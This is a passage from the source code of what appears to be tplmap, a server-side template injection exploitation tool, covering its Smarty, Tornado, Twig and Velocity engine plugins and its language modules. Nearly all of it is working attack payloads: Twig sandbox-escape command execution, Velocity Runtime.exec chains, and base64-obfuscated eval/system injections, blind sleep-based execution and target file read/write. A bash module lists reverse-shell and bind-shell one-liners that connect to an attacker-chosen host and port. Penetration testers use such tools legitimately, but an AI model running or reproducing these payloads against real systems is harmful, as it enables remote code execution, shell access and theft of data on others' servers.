33 | 'evaluate_blind': """{php}$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");{/php}"""
34 | },
35 | 'execute_blind' : {
36 | 'call': 'inject',
37 | 'execute_blind': """{php}$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");{/php}"""
38 | },
39 |
40 | })
41 |
42 | self.set_contexts([
43 |
44 | # Text context, no closures
45 | { 'level': 0 },
46 |
47 | { 'level': 1, 'prefix': '%(closure)s}', 'suffix' : '{', 'closures' : php.ctx_closures },
48 |
49 | # {config_load file="missing_file"} raises an exception
50 |
51 | # Escape Ifs
52 | { 'level': 5, 'prefix': '%(closure)s}{/if}{if 1}', 'suffix' : '', 'closures' : php.ctx_closures },
53 |
54 | # Escape {assign var="%s" value="%s"}
55 | { 'level': 5, 'prefix': '%(closure)s var="" value=""}{assign var="" value=""}', 'suffix' : '', 'closures' : php.ctx_closures },
56 |
57 | # Comments
58 | { 'level': 5, 'prefix': '*}', 'suffix' : '{*' },
59 |
60 | ])
--------------------------------------------------------------------------------
/plugins/engines/tornado.py:
--------------------------------------------------------------------------------
1 | from plugins.languages import python
2 | from utils.loggers import log
3 | from utils import rand
4 | import re
5 |
6 | class Tornado(python.Python):
7 |
8 | def init(self):
9 |
10 | self.update_actions({
11 | 'render' : {
12 | 'render': '{{%(code)s}}',
13 | 'header': '{{%(header)s}}',
14 | 'trailer': '{{%(trailer)s}}',
15 | 'test_render': """'%(s1)s'}}{%% raw '%(s1)s'.join('%(s2)s') %%}{{'%(s2)s'""" % {
16 | 's1' : rand.randstrings[0],
17 | 's2' : rand.randstrings[1]
18 | },
19 | 'test_render_expected': '%(res)s' % {
20 | 'res' : rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1]
21 | }
22 | }
23 | })
24 |
25 | self.set_contexts([
26 |
27 | # Text context, no closures
28 | { 'level': 0 },
29 |
30 | # This covers {{%s}}
31 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '', 'closures' : python.ctx_closures },
32 |
33 | # This covers {% %s %}
34 | { 'level': 1, 'prefix': '%(closure)s%%}', 'suffix' : '', 'closures' : python.ctx_closures },
35 |
36 | # Comment blocks
37 | { 'level': 5, 'prefix' : '#}', 'suffix' : '{#' },
38 | ])
39 |
--------------------------------------------------------------------------------
/plugins/engines/twig.py:
--------------------------------------------------------------------------------
1 | from utils.loggers import log
2 | from plugins.languages import php
3 | from plugins.languages import bash
4 | from utils import rand
5 | import string
6 |
7 | class Twig(php.Php):
8 |
9 | def init(self):
10 |
11 | # The vulnerable versions <1.20.0 allows to map the getFilter() function
12 | # to any PHP function, allowing the sandbox escape.
13 |
14 | # Only functions with 1 parameter can be mapped and eval()/assert() functions are not
15 | # allowed. For this reason, most of the stuff is done by exec() insted of eval()-like code.
16 |
17 | self.update_actions({
18 | 'render' : {
19 | 'render': '{{%(code)s}}',
20 | 'header': '{{%(header)s}}',
21 | 'trailer': '{{%(trailer)s}}',
22 | # {{7*'7'}} and a{#b#}c work in freemarker as well
23 | # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well
24 | 'test_render': '"%(s1)s\n"|nl2br' % {
25 | 's1' : rand.randstrings[0]
26 | },
27 | 'test_render_expected': '%(res)s
' % {
28 | 'res' : rand.randstrings[0]
29 | }
30 | },
31 | 'write' : {
32 | 'call' : 'inject',
33 | 'write' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s'")}}""",
34 | 'truncate' : """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("echo -n >%(path)s")}}"""
35 | },
36 | # Hackish way to evaluate PHP code
37 | 'evaluate' : {
38 | 'call': 'execute',
39 | 'evaluate': """php -r '$d="%(code_b64)s";eval(base64_decode(str_pad(strtr($d,"-_","+/"),strlen($d)%%4,"=",STR_PAD_RIGHT)));'""",
40 | 'test_os' : 'echo PHP_OS;',
41 | 'test_os_expected': '^[\w-]+$'
42 | },
43 | 'execute' : {
44 | 'call': 'render',
45 | 'execute': """_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}'")""",
46 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
47 | 'test_cmd_expected': rand.randstrings[2]
48 | },
49 | 'execute_blind' : {
50 | 'call': 'inject',
51 | 'execute_blind': """{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("bash -c '{eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}'")}}"""
52 | },
53 | 'evaluate_blind' : {
54 | 'call': 'execute',
55 | 'evaluate_blind': """php -r '$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, "-_", "+/"), strlen($d)%%4,"=",STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");'"""
56 | },
57 | })
58 |
59 | self.set_contexts([
60 |
61 | # Text context, no closures
62 | { 'level': 0 },
63 |
64 | { 'level': 1, 'prefix': '%(closure)s}}', 'suffix' : '{{1', 'closures' : php.ctx_closures },
65 | { 'level': 1, 'prefix': '%(closure)s %%}', 'suffix' : '', 'closures' : php.ctx_closures },
66 | { 'level': 5, 'prefix': '%(closure)s %%}{%% endfor %%}{%% for a in [1] %%}', 'suffix' : '', 'closures' : php.ctx_closures },
67 |
68 | # This escapes string "inter#{"asd"}polation"
69 | #{ 'level': 5, 'prefix': '%(closure)s}', 'suffix' : '', 'closures' : php.ctx_closures },
70 |
71 | # This escapes string {% set %s = 1 %}
72 | { 'level': 5, 'prefix': '%(closure)s = 1 %%}', 'suffix' : '', 'closures' : php.ctx_closures },
73 |
74 | ])
75 |
--------------------------------------------------------------------------------
/plugins/engines/velocity.py:
--------------------------------------------------------------------------------
1 | from utils.loggers import log
2 | from plugins.languages import java
3 | from utils import rand
4 | from utils.strings import quote
5 | import re
6 |
7 | class Velocity(java.Java):
8 |
9 | def init(self):
10 |
11 | self.update_actions({
12 | 'render' : {
13 | 'render': '%(code)s',
14 | 'header': '\n#set($h=%(header)s)\n${h}\n',
15 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n',
16 | 'test_render': '#set($c=%(n1)s*%(n2)s)\n${c}\n' % {
17 | 'n1' : rand.randints[0],
18 | 'n2' : rand.randints[1]
19 | },
20 | 'test_render_expected': '%(res)s' % {
21 | 'res' : rand.randints[0]*rand.randints[1]
22 | }
23 | },
24 | 'write' : {
25 | 'call' : 'inject',
26 | 'write' : """#set($engine="")
27 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
28 | #set($runtime=$run.getRuntime())
29 | #set($proc=$runtime.exec("bash -c {tr,_-,/+}<<<%(chunk_b64)s|{base64,--decode}>>%(path)s"))
30 | #set($null=$proc.waitFor())
31 | #set($istr=$proc.getInputStream())
32 | #set($chr=$engine.getClass().forName("java.lang.Character"))
33 | #set($output="")
34 | #set($string=$engine.getClass().forName("java.lang.String"))
35 | #foreach($i in [1..$istr.available()])
36 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
37 | #end
38 | ${output}
39 | """,
40 | 'truncate' : """#set($engine="")
41 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
42 | #set($runtime=$run.getRuntime())
43 | #set($proc=$runtime.exec("bash -c {echo,-n,}>%(path)s"))
44 | #set($null=$proc.waitFor())
45 | #set($istr=$proc.getInputStream())
46 | #set($chr=$engine.getClass().forName("java.lang.Character"))
47 | #set($output="")
48 | #set($string=$engine.getClass().forName("java.lang.String"))
49 | #foreach($i in [1..$istr.available()])
50 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
51 | #end
52 | ${output}
53 | """
54 | },
55 | 'execute' : {
56 |
57 | # This payload cames from henshin's contribution on
58 | # issue #9.
59 |
60 | 'call': 'render',
61 | 'execute': """#set($engine="")
62 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
63 | #set($runtime=$run.getRuntime())
64 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}"))
65 | #set($null=$proc.waitFor())
66 | #set($istr=$proc.getInputStream())
67 | #set($chr=$engine.getClass().forName("java.lang.Character"))
68 | #set($output="")
69 | #set($string=$engine.getClass().forName("java.lang.String"))
70 | #foreach($i in [1..$istr.available()])
71 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
72 | #end
73 | ${output}
74 | """
75 | },
76 | 'execute_blind' : {
77 | 'call': 'inject',
78 | 'execute_blind': """#set($engine="")
79 | #set($run=$engine.getClass().forName("java.lang.Runtime"))
80 | #set($runtime=$run.getRuntime())
81 | #set($proc=$runtime.exec("bash -c {eval,$({tr,/+,_-}<<<%(code_b64)s|{base64,--decode})}&&{sleep,%(delay)s}"))
82 | #set($null=$proc.waitFor())
83 | #set($istr=$proc.getInputStream())
84 | #set($chr=$engine.getClass().forName("java.lang.Character"))
85 | #set($output="")
86 | #set($string=$engine.getClass().forName("java.lang.String"))
87 | #foreach($i in [1..$istr.available()])
88 | #set($output=$output.concat($string.valueOf($chr.toChars($istr.read()))))
89 | #end
90 | ${output}
91 | """
92 | }
93 | })
94 |
95 | self.set_contexts([
96 |
97 | # Text context, no closures
98 | { 'level': 0 },
99 |
100 | { 'level': 1, 'prefix': '%(closure)s)', 'suffix' : '', 'closures' : java.ctx_closures },
101 |
102 | # This catches
103 | # #if(%s == 1)\n#end
104 | # #foreach($item in %s)\n#end
105 | # #define( %s )a#end
106 | { 'level': 3, 'prefix': '%(closure)s#end#if(1==1)', 'suffix' : '', 'closures' : java.ctx_closures },
107 | { 'level': 5, 'prefix': '*#', 'suffix' : '#*' },
108 |
109 | ])
--------------------------------------------------------------------------------
/plugins/languages/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/plugins/languages/__init__.py
--------------------------------------------------------------------------------
/plugins/languages/bash.py:
--------------------------------------------------------------------------------
1 |
2 | printf = """printf '%(s1)s'"""
3 |
4 | bind_shell = [
5 | """python -c 'import pty,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("", %(port)s));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);pty.spawn("%(shell)s");s.close()'""",
6 | """nc -l -p %(port)s -e %(shell)s""",
7 | """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc -l %(port)s >/tmp/f; rm -rf /tmp/f""",
8 | """socat tcp-l:%(port)s exec:%(shell)s"""
9 | ]
10 |
11 | reverse_shell = [
12 | """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|%(shell)s -i 2>&1|nc %(host)s %(port)s >/tmp/f""",
13 | """sleep 1; nc -e %(shell)s %(host)s %(port)s""",
14 | """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["%(shell)s","-i"]);'""",
15 | "sleep 1; /bin/bash -c \'%(shell)s 0&0 2>&0\'",
16 | """perl -e 'use Socket;$i="%(host)s";$p=%(port)s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("%(shell)s -i");};'""",
17 | # TODO: ruby payload's broken, fix it.
18 | # """ruby -rsocket -e'f=TCPSocket.open("%(host)s",%(port)s).to_i;exec sprintf("%(shell)s -i <&%%d >&%%d 2>&%%d",f,f,f)'""",
19 | """sleep 1; python -c 'import socket,pty,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%(host)s",%(port)s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("%(shell)s");'""",
20 | ]
21 |
--------------------------------------------------------------------------------
/plugins/languages/java.py:
--------------------------------------------------------------------------------
1 | from core.plugin import Plugin
2 | from plugins.languages import bash
3 | from utils import closures
4 | from utils import rand
5 | import re
6 |
7 | class Java(Plugin):
8 |
9 | def language_init(self):
10 |
11 | self.update_actions({
12 |
13 | 'execute' : {
14 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
15 | 'test_cmd_expected': rand.randstrings[2],
16 | 'test_os' : """uname""",
17 | 'test_os_expected': '^[\w-]+$'
18 | },
19 |
20 | 'read' : {
21 | 'call': 'execute',
22 | 'read' : """base64<'%(path)s'"""
23 | },
24 | 'md5' : {
25 | 'call': 'execute',
26 | 'md5': """$(type -p md5 md5sum)<'%(path)s'|head -c 32"""
27 | },
28 | # Prepared to used only for blind detection. Not useful for time-boolean
29 | # tests (since && characters can\'t be used) but enough for the detection phase.
30 | 'blind' : {
31 | 'call': 'execute_blind',
32 | 'test_bool_true' : 'true',
33 | 'test_bool_false' : 'false'
34 | },
35 | 'bind_shell' : {
36 | 'call' : 'execute_blind',
37 | 'bind_shell': bash.bind_shell
38 | },
39 | 'reverse_shell' : {
40 | 'call': 'execute_blind',
41 | 'reverse_shell' : bash.reverse_shell
42 | }
43 | })
44 |
45 | language = 'java'
46 |
47 | def rendered_detected(self):
48 |
49 | # Java has no eval() function, hence the checks are done using
50 | # the command execution action.
51 |
52 | test_cmd_code = self.actions.get('execute', {}).get('test_cmd')
53 | test_cmd_code_expected = self.actions.get('execute', {}).get('test_cmd_expected')
54 |
55 | if (
56 | test_cmd_code and
57 | test_cmd_code_expected and
58 | test_cmd_code_expected == self.execute(test_cmd_code)
59 | ):
60 | self.set('execute', True)
61 | self.set('write', True)
62 | self.set('read', True)
63 | self.set('bind_shell', True)
64 | self.set('reverse_shell', True)
65 |
66 | test_os_code = self.actions.get('execute', {}).get('test_os')
67 | test_os_code_expected = self.actions.get('execute', {}).get('test_os_expected')
68 |
69 | if test_os_code and test_os_code_expected:
70 |
71 | os = self.execute(test_os_code)
72 | if os and re.search(test_os_code_expected, os):
73 | self.set('os', os)
74 |
75 | def blind_detected(self):
76 |
77 | # No blind code evaluation is possible here, only execution
78 |
79 | # Since execution has been used to detect blind injection,
80 | # let's assume execute_blind as set.
81 | self.set('execute_blind', True)
82 | self.set('write', True)
83 | self.set('bind_shell', True)
84 | self.set('reverse_shell', True)
85 |
86 |
87 | ctx_closures = {
88 | 1: [
89 | closures.close_single_duble_quotes + closures.integer,
90 | closures.close_function + closures.empty
91 | ],
92 | 2: [
93 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
94 | closures.close_function + closures.empty
95 | ],
96 | 3: [
97 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
98 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
99 | ],
100 | 4: [
101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var,
102 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
103 | ],
104 | 5: [
105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var + closures.true_var + closures.iterable_var,
106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
107 | closures.close_function + closures.close_list + closures.empty,
108 | ]
109 | }
110 |
--------------------------------------------------------------------------------
/plugins/languages/javascript.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import bash
4 | from utils import closures
5 | from core.plugin import Plugin
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 |
11 | class Javascript(Plugin):
12 |
13 | def language_init(self):
14 |
15 | self.update_actions({
16 | 'render' : {
17 | 'call': 'inject',
18 | 'render': """%(code)s""",
19 | 'header': """'%(header)s'+""",
20 | 'trailer': """+'%(trailer)s'""",
21 | 'test_render': 'typeof(%(r1)s)+%(r2)s' % {
22 | 'r1' : rand.randints[0],
23 | 'r2' : rand.randints[1]
24 | },
25 | 'test_render_expected': 'number%(r2)s' % {
26 | 'r2' : rand.randints[1]
27 | }
28 | },
29 | # No evaluate_blind here, since we've no sleep, we'll use inject
30 | 'write' : {
31 | 'call' : 'inject',
32 | 'write' : """require('fs').appendFileSync('%(path)s', Buffer('%(chunk_b64)s', 'base64'), 'binary')//""",
33 | 'truncate' : """require('fs').writeFileSync('%(path)s', '')"""
34 | },
35 | 'read' : {
36 | 'call': 'render',
37 | 'read' : """require('fs').readFileSync('%(path)s').toString('base64')"""
38 | },
39 | 'md5' : {
40 | 'call': 'render',
41 | 'md5': """require('crypto').createHash('md5').update(require('fs').readFileSync('%(path)s')).digest("hex")"""
42 | },
43 | 'evaluate' : {
44 | 'call': 'render',
45 | 'evaluate': """eval(Buffer('%(code_b64)s', 'base64').toString())""",
46 | 'test_os': """require('os').platform()""",
47 | 'test_os_expected': '^[\w-]+$',
48 | },
49 | 'blind' : {
50 | 'call': 'execute_blind',
51 | 'test_bool_true' : 'true',
52 | 'test_bool_false' : 'false'
53 | },
54 | # Not using execute here since it's rendered and requires set headers and trailers
55 | 'execute_blind' : {
56 | 'call': 'inject',
57 | # execSync() has been introduced in node 0.11, so this will not work with old node versions.
58 | # TODO: use another function.
59 | 'execute_blind': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString() + ' && sleep %(delay)i')//"""
60 | },
61 | 'execute' : {
62 | 'call': 'render',
63 | 'execute': """require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString())""",
64 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
65 | 'test_cmd_expected': rand.randstrings[2]
66 | },
67 | 'bind_shell' : {
68 | 'call' : 'execute_blind',
69 | 'bind_shell': bash.bind_shell
70 | },
71 | 'reverse_shell' : {
72 | 'call': 'execute_blind',
73 | 'reverse_shell' : bash.reverse_shell
74 | }
75 | })
76 |
77 | self.set_contexts([
78 |
79 | # Text context, no closures
80 | { 'level': 0 },
81 |
82 | # This terminates the statement with ;
83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures },
84 |
85 | # This does not need termination e.g. if(%s) {}
86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures },
87 |
88 | # Comment blocks
89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' },
90 |
91 | ])
92 |
93 | language = 'javascript'
94 |
95 | ctx_closures = {
96 | 1: [
97 | closures.close_single_duble_quotes + closures.integer,
98 | closures.close_function + closures.empty
99 | ],
100 | 2: [
101 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
102 | closures.close_function + closures.empty
103 | ],
104 | 3: [
105 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
106 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
107 | ],
108 | 4: [
109 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
110 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
111 | ],
112 | 5: [
113 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
114 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
115 | closures.close_function + closures.close_list + closures.empty,
116 | ],
117 | }
118 |
119 |
--------------------------------------------------------------------------------
/plugins/languages/php.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote, chunkit, md5
2 | from utils.loggers import log
3 | from plugins.languages import bash
4 | from core.plugin import Plugin
5 | from utils import closures
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 |
11 | class Php(Plugin):
12 |
13 |
14 | def language_init(self):
15 |
16 | self.update_actions({
17 | 'render' : {
18 | 'call': 'inject',
19 | 'render': """%(code)s""",
20 | 'header': """print_r('%(header)s');""",
21 | 'trailer': """print_r('%(trailer)s');""",
22 | 'test_render': 'print(%(r1)s);' % {
23 | 'r1' : rand.randints[0]
24 | },
25 | 'test_render_expected': '%(r1)s' % {
26 | 'r1' : rand.randints[0]
27 | }
28 | },
29 | 'write' : {
30 | 'call' : 'evaluate',
31 | 'write' : """$d="%(chunk_b64)s"; file_put_contents("%(path)s", base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)),FILE_APPEND);""",
32 | 'truncate' : """file_put_contents("%(path)s", "");"""
33 | },
34 | 'read' : {
35 | 'call': 'evaluate',
36 | 'read' : """print(base64_encode(file_get_contents("%(path)s")));"""
37 | },
38 | 'md5' : {
39 | 'call': 'evaluate',
40 | 'md5': """is_file("%(path)s") && print(md5_file("%(path)s"));"""
41 | },
42 | 'evaluate' : {
43 | 'call': 'render',
44 | 'evaluate': """%(code)s""",
45 | 'test_os' : 'echo PHP_OS;',
46 | 'test_os_expected': '^[\w-]+$'
47 | },
48 | 'execute' : {
49 | 'call': 'evaluate',
50 | 'execute': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d,'-_','+/'),strlen($d)%%4,'=',STR_PAD_RIGHT)));""",
51 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
52 | 'test_cmd_expected': rand.randstrings[2]
53 | },
54 | 'blind' : {
55 | 'call': 'evaluate_blind',
56 | 'test_bool_true' : """True""",
57 | 'test_bool_false' : """False"""
58 | },
59 | 'evaluate_blind' : {
60 | 'call': 'inject',
61 | 'evaluate_blind': """$d="%(code_b64)s";eval("return (" . base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)) . ") && sleep(%(delay)i);");"""
62 | },
63 | 'execute_blind' : {
64 | 'call': 'inject',
65 | 'execute_blind': """$d="%(code_b64)s";system(base64_decode(str_pad(strtr($d, '-_', '+/'), strlen($d)%%4,'=',STR_PAD_RIGHT)). " && sleep %(delay)i");"""
66 | },
67 | 'bind_shell' : {
68 | 'call' : 'execute_blind',
69 | 'bind_shell': bash.bind_shell
70 | },
71 | 'reverse_shell' : {
72 | 'call': 'execute_blind',
73 | 'reverse_shell' : bash.reverse_shell
74 | },
75 | })
76 |
77 | self.set_contexts([
78 |
79 | # Text context, no closures
80 | { 'level': 0 },
81 |
82 | # This terminates the statement with ;
83 | { 'level': 1, 'prefix' : '%(closure)s;', 'suffix' : '//', 'closures' : ctx_closures },
84 |
85 | # This does not need termination e.g. if(%s) {}
86 | { 'level': 2, 'prefix' : '%(closure)s', 'suffix' : '//', 'closures' : ctx_closures },
87 |
88 | # Comment blocks
89 | { 'level': 5, 'prefix' : '*/', 'suffix' : '/*' },
90 |
91 | ])
92 |
93 | language = 'php'
94 |
95 |
96 | ctx_closures = {
97 | 1: [
98 | closures.close_single_duble_quotes + closures.integer,
99 | closures.close_function + closures.empty
100 | ],
101 | 2: [
102 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
103 | closures.close_function + closures.empty
104 | ],
105 | 3: [
106 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
107 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
108 | ],
109 | 4: [
110 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
111 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
112 | ],
113 | 5: [
114 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.var,
115 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
116 | closures.close_function + closures.close_list + closures.empty,
117 | ]
118 | }
119 |
--------------------------------------------------------------------------------
/plugins/languages/python.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from core.plugin import Plugin
3 | from utils import closures
4 | from plugins.languages import bash
5 | from utils.loggers import log
6 | from utils import rand
7 | import base64
8 | import re
9 |
10 | class Python(Plugin):
11 |
12 | def language_init(self):
13 |
14 | self.update_actions({
15 | 'render' : {
16 | 'render': """str(%(code)s)""",
17 | 'header': """'%(header)s'+""",
18 | 'trailer': """+'%(trailer)s'""",
19 | 'test_render': """'%(s1)s'.join('%(s2)s')""" % {
20 | 's1' : rand.randstrings[0],
21 | 's2' : rand.randstrings[1]
22 | },
23 | 'test_render_expected': '%(res)s' % {
24 | 'res' : rand.randstrings[0].join(rand.randstrings[1])
25 | }
26 | },
27 | 'write' : {
28 | 'call' : 'evaluate',
29 | 'write' : """open("%(path)s", 'ab+').write(__import__("base64").urlsafe_b64decode('%(chunk_b64)s'))""",
30 | 'truncate' : """open("%(path)s", 'w').close()"""
31 | },
32 | 'read' : {
33 | 'call': 'evaluate',
34 | 'read' : """__import__("base64").b64encode(open("%(path)s", "rb").read())"""
35 | },
36 | 'md5' : {
37 | 'call': 'evaluate',
38 | 'md5': """__import__("hashlib").md5(open("%(path)s", 'rb').read()).hexdigest()"""
39 | },
40 | 'evaluate' : {
41 | 'call': 'render',
42 | 'evaluate': """%(code)s""",
43 | 'test_os': """'-'.join([__import__('os').name, __import__('sys').platform])""",
44 | 'test_os_expected': '^[\w-]+$'
45 | },
46 | 'execute' : {
47 | 'call': 'evaluate',
48 | 'execute': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()).read()""",
49 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
50 | 'test_cmd_expected': rand.randstrings[2]
51 | },
52 | 'blind' : {
53 | 'call': 'evaluate_blind',
54 | 'test_bool_true' : """'a'.join('ab') == 'aab'""",
55 | 'test_bool_false' : 'True == False'
56 | },
57 | 'evaluate_blind' : {
58 | 'call': 'evaluate',
59 | 'evaluate_blind': """eval(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode()) and __import__('time').sleep(%(delay)i)"""
60 | },
61 | 'bind_shell' : {
62 | 'call' : 'execute_blind',
63 | 'bind_shell': bash.bind_shell
64 | },
65 | 'reverse_shell' : {
66 | 'call': 'execute_blind',
67 | 'reverse_shell' : bash.reverse_shell
68 | },
69 | 'execute_blind' : {
70 | 'call': 'evaluate',
71 | 'execute_blind': """__import__('os').popen(__import__('base64').urlsafe_b64decode('%(code_b64)s').decode() + ' && sleep %(delay)i').read()"""
72 | },
73 | })
74 |
75 | self.set_contexts([
76 |
77 | # Text context, no closures
78 | { 'level': 0 },
79 |
80 | # Code context escape with eval() injection is not easy, since eval is used to evaluate a single
81 | # dynamically generated Python expression e.g. eval("""1;print 1"""); would fail.
82 |
83 | # TODO: the plugin should support the exec() injections, which can be assisted by code context escape
84 |
85 | ])
86 |
87 | language = 'python'
88 |
89 |
90 | ctx_closures = {
91 | 1: [
92 | closures.close_single_duble_quotes + closures.integer,
93 | closures.close_function + closures.empty
94 | ],
95 | 2: [
96 | closures.close_single_duble_quotes + closures.integer + closures.string,
97 | closures.close_function + closures.empty
98 | ],
99 | 3: [
100 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
101 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
102 | ],
103 | 4: [
104 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
105 | closures.close_function + closures.close_list + closures.close_dict + closures.empty
106 | ],
107 | 5: [
108 | closures.close_single_duble_quotes + closures.integer + closures.string + closures.close_triple_quotes,
109 | closures.close_function + closures.close_list + closures.close_dict + closures.empty,
110 | closures.close_function + closures.close_list + closures.empty,
111 | closures.if_loops + closures.empty
112 | ],
113 | }
114 |
115 |
--------------------------------------------------------------------------------
/plugins/languages/ruby.py:
--------------------------------------------------------------------------------
1 | from utils.strings import quote
2 | from core.plugin import Plugin
3 | from plugins.languages import bash
4 | from utils.loggers import log
5 | from utils import rand
6 | import base64
7 | import re
8 |
9 | class Ruby(Plugin):
10 |
11 | def language_init(self):
12 |
13 | self.update_actions({
14 | 'render' : {
15 | 'render': '"#{%(code)s}"',
16 | 'header': """'%(header)s'+""",
17 | 'trailer': """+'%(trailer)s'""",
18 | 'test_render': """%(s1)i*%(s2)i""" % {
19 | 's1' : rand.randints[0],
20 | 's2' : rand.randints[1]
21 | },
22 | 'test_render_expected': '%(res)s' % {
23 | 'res' : rand.randints[0]*rand.randints[1]
24 | }
25 | },
26 | 'write' : {
27 | 'call' : 'inject',
28 | 'write': """require'base64';File.open('%(path)s', 'ab+') {|f| f.write(Base64.urlsafe_decode64('%(chunk_b64)s')) }""",
29 | 'truncate' : """File.truncate('%(path)s', 0)"""
30 | },
31 | 'read' : {
32 | 'call': 'evaluate',
33 | 'read': """(require'base64';Base64.encode64(File.binread("%(path)s"))).to_s""",
34 | },
35 | 'md5' : {
36 | 'call': 'evaluate',
37 | 'md5': """(require'digest';Digest::MD5.file("%(path)s")).to_s"""
38 | },
39 | 'evaluate' : {
40 | 'call': 'render',
41 | 'evaluate': """%(code)s""",
42 | 'test_os' : """RUBY_PLATFORM""",
43 | 'test_os_expected': '^[\w._-]+$'
44 | },
45 | 'execute' : {
46 | 'call': 'evaluate',
47 | 'execute': """(require'base64';%%x(#{Base64.urlsafe_decode64('%(code_b64)s')})).to_s""",
48 | 'test_cmd': bash.printf % { 's1': rand.randstrings[2] },
49 | 'test_cmd_expected': rand.randstrings[2]
50 | },
51 | 'blind' : {
52 | 'call': 'evaluate_blind',
53 | 'test_bool_true' : """1.to_s=='1'""",
54 | 'test_bool_false' : """1.to_s=='2'"""
55 | },
56 | 'evaluate_blind' : {
57 | 'call': 'inject',
58 | 'evaluate_blind': """require'base64';eval(Base64.urlsafe_decode64('%(code_b64)s'))&&sleep(%(delay)i)"""
59 | },
60 | 'bind_shell' : {
61 | 'call' : 'execute_blind',
62 | 'bind_shell': bash.bind_shell
63 | },
64 | 'reverse_shell' : {
65 | 'call': 'execute_blind',
